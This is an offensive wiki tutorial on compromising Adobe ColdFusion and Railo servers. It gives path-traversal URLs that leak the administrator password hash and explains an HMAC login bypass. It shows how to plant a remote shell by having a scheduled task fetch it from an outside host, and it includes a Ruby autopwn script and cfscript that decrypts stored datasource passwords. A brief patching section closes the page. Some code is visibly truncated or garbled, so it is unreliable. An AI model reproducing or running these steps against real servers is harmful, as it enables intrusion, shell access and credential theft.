Questions about this topic? Sign up to ask in the talk tab.

Coldfusion hacking

From NetSec
(Redirected from Cold Fusion Hacking)
Jump to: navigation, search

ColdFusion Markup Language is an interpreted language utilizing a Java backend. It allows direct access to Java via its cfscript tags, while simultaneously offering a simple web wrapper. It is vulnerable to a variety of attacks, but mainly Local File Disclosure (LFD) and SQL injection. ColdFusion scripts are commonly run as an elevated user, such as NT-Authority\SYSTEM (Windows) or root (Linux), making them especially susceptible to web-based attacks.


ColdFusion script attacks are primarily platform-specific. The following examples outline vectors for attack.

Two platforms presently support ColdFusion Markup Language:

  • Adobe ColdFusion
  • Railo

ColdFusion scripts are officially recognized with two file extensions:

  • cfm
  • cfc
RPU0j.png This page includes a Zero-day XSS attack. Using these techniques against any system without authorization is a criminal act.

Adobe ColdFusion

Technique: LFD to ColdFusion Administrator authentication bypass to remote command execution (complete compromise):

Remote File Disclosure of Password Hashes

The most critical ColdFusion vulnerability affects about a tenth of all ColdFusion servers at the present. It chains together multiple exploits, and it provides a 30 second window into the Administration panel. The ColdFusion Administration panel can then be used to write out a shell.

You will need:

  • Tamper Data[1] (Firefox extension)

To begin, the site in question must have an ColdFusion Administrator available. By default, it's mapped to CFIDE/administrator/enter.cfm. If it returns 500 Forbidden, switch to HTTPS. Alternatively, use the IP and not the hostname. Once at the ColdFusion administrator, verify it is either version 7 or 8. Then, supply the following injections [2]:

LFI Affects
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\ ColdFusion 6
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\ ColdFusion 7
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\ ColdFusion 8
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\ All versions

If the LFD succeeds, the ColdFusion Administrator hash will be included on the page.


  • The page does not display properly (broken images)/I can't figure out what version it is

Try supplying the injections anyway. If the LFD succeeds but the images are broken, you will need to manually HMAC the administrator hash against the salt to bypass authentication. In an effort to simplify this, I've supplied a one-liner command you can run to perform this:

python -c 'import hashlib,hmac; hash=raw_input("Hash > "); salt=raw_input("Salt > "); print "HMAC",,hash,hashlib.sha1).hexdigest().upper()'

The hash is provided via the LFD, and the salt is updated every 30 seconds in the source (ctrl+F salt, second one).

  • None of the injections worked

There are a couple possible reasons behind this one. One, the files may not actually be there! Try including \boot.ini or /etc/hosts to find out if this is the case. If they include successfully, you may need to blindly locate the file (or another file of value). Two, the server may have l10n already patched. You'll need to find another vulnerability.

Logging In

Now that the hash has been included, you may have been misled by other guides that you need to reverse it/hope its plaintext. This is NOT the case. Due to a second security advisory, you can bypass the authentication using the hash alone. Simpily paste the hash into the admin password form and run this via your address bar:

c3el4.png It's a good idea to bookmark this to cut down on time. NoScript users: make sure you are allowing scripts to run while performing this.

  • You will get an alert with the HMACed hash. Copy this value.
  • Go to Tools -> Tamper Data and Start Tampering.
  • Submit the login form, and paste the hash in the cfadminPassword field.
  • Press OK.

If you were fast enough, you should be in the ColdFusion Administrator.

Writing Shell to File

  • Go to the Settings Summary tab on the left and find the 'Mappings' section.
  • One of the default mappings is /CFIDE. This is where you will be writing to.
  • Copy the path next to it.
  • Enter the Debugging and Logging tab on the left panel and click 'Scheduled Tasks'
  • Click 'Schedule New Task'.
  • Set the task name to whatever you like
  • Change the URL to the URL of a plaintext CFM shell (
  • Check the option to save the output to a file.
  • Paste the path you acquired from the Mappings into the 'File' field,
  • Type the name you want to save the shell as and the extension (cfm).
  • Press OK and click the green check to run the task.

If everything went as expected, your shell should now be on the server at /CFIDE/shellname.cfm.

  • Delete the task.


  • It failed to get my shell

Either /CFIDE is not writable (rare) or an outgoing firewall prevents you from retrieving a shell. It is possible to subvert the outgoing firewall by exploiting a localhost XSS in probe.cfm (supply it in the URL field of the scheduled task):

Notice: We realize the URL below is horrifying. Trust it. It exploits a zero day XSS attack in probe.cfm.


A very small uploader will be written that uploads to the current path.


Railo is commonly misconfigured to run as root. It also is the target of path disclosure. To accomplish this, go to a .cfm script that doesnt exist on the site, or error a .cfm script. Railo will give a verbose debug output disclosing potentially important information.

PoC: cf8_autopwn.rb

Special thanks to Savitri for this script.
require 'net/http'
require 'net/https'
require 'openssl'
def usage
    puts "usage: ./cf8_autopwn.rb host port"
if not ARGV.length == 2
server = ARGV[0]
port = ARGV[1].to_i
http =, port)
if port == 443 then http.use_ssl = true end
# replace local with text file containing drtrv strings
# or ill stop being lazy and rewrite this to iterate through all options
# until we get a hit
path = '/CFIDE/administrator/enter.cfm'
locale = 'locale=../../../../../../../../../../ColdFusion8/lib/'
headers = {
    'Host' => server,
    'Content-Type' => 'application/x-www-form-urlencoded',
    'Content-Length' => locale.length.to_s,
resp, data =, locale, headers)
data =~ /\<title\>.*password=([A-F0-9]+).*\<\/title\>/m
password = $1
data =~ /\<input name="salt" type="hidden" value="(\d+)"\>/
salt = $1
hash = OpenSSL::HMAC.hexdigest('sha1',salt, password)
logindata = "cfadminPassword=#{hash.upcase}&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F"
logindata += "&salt=#{salt}&submit=Login"
loginheaders = {
    'Host' => server,
resp, data =, logindata, loginheaders)
puts resp['set-cookie']

Privilege Escalation

Three techniques can be employed to escalate privileges:

1. ColdFusion 9 (latest) is still vulnerable to the same admin bypass. If you have the hash, the CF 7/8 technique can be applied.

2. Encrypted, base64ed ColdFusion hashes in 7+ can be reversed [3]. They can be found in the source of the datasource pages in the Administrator and in xml files in lib/. To decrypt them, run this in a ColdFusion environment:

<syntaxhighlight lang="java"> <cfscript> o=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources(); for(i in o) { if(len(o[i]["password"])){ dp=Decrypt(o[i]["password"], generate3DesKey("[email protected][email protected][email protected]"), "DESede", "Base64") ; writeoutput("#htmleditformat(i)# : #htmleditformat(dp)##chr(10)#"); } } </cfscript> </syntaxhighlight>

3. Sandbox security for cfexecute can be bypassed. Use
within cfscript tags (Zero-Day attack 2).


Patching a ColdFusion instance from the LFD->Bypass->RCE exploit can only be done on ColdFusion 8. No other versions can be patched. That being said, the official Adobe patch can be downloaded here:

Extract the .zip file and replace the two affected files (l10n.cfm & l10n_testing.cfm). Restart the ColdFusion Application Server service to apply the patch. Alternatively, run the following code in a ColdFusion environment:

<syntaxhighlight lang="java"> <cfscript> oJRun = CreateObject("java","jrunx.kernel.JRun"); oJRun.restart(oJRun.getServerName()); </cfscript> </syntaxhighlight>

Protip: You can verify the host is patched by testing various LFD injections against /CFIDE/administrator/enter.cfm.


Coldfusion hacking is part of a series on exploitation.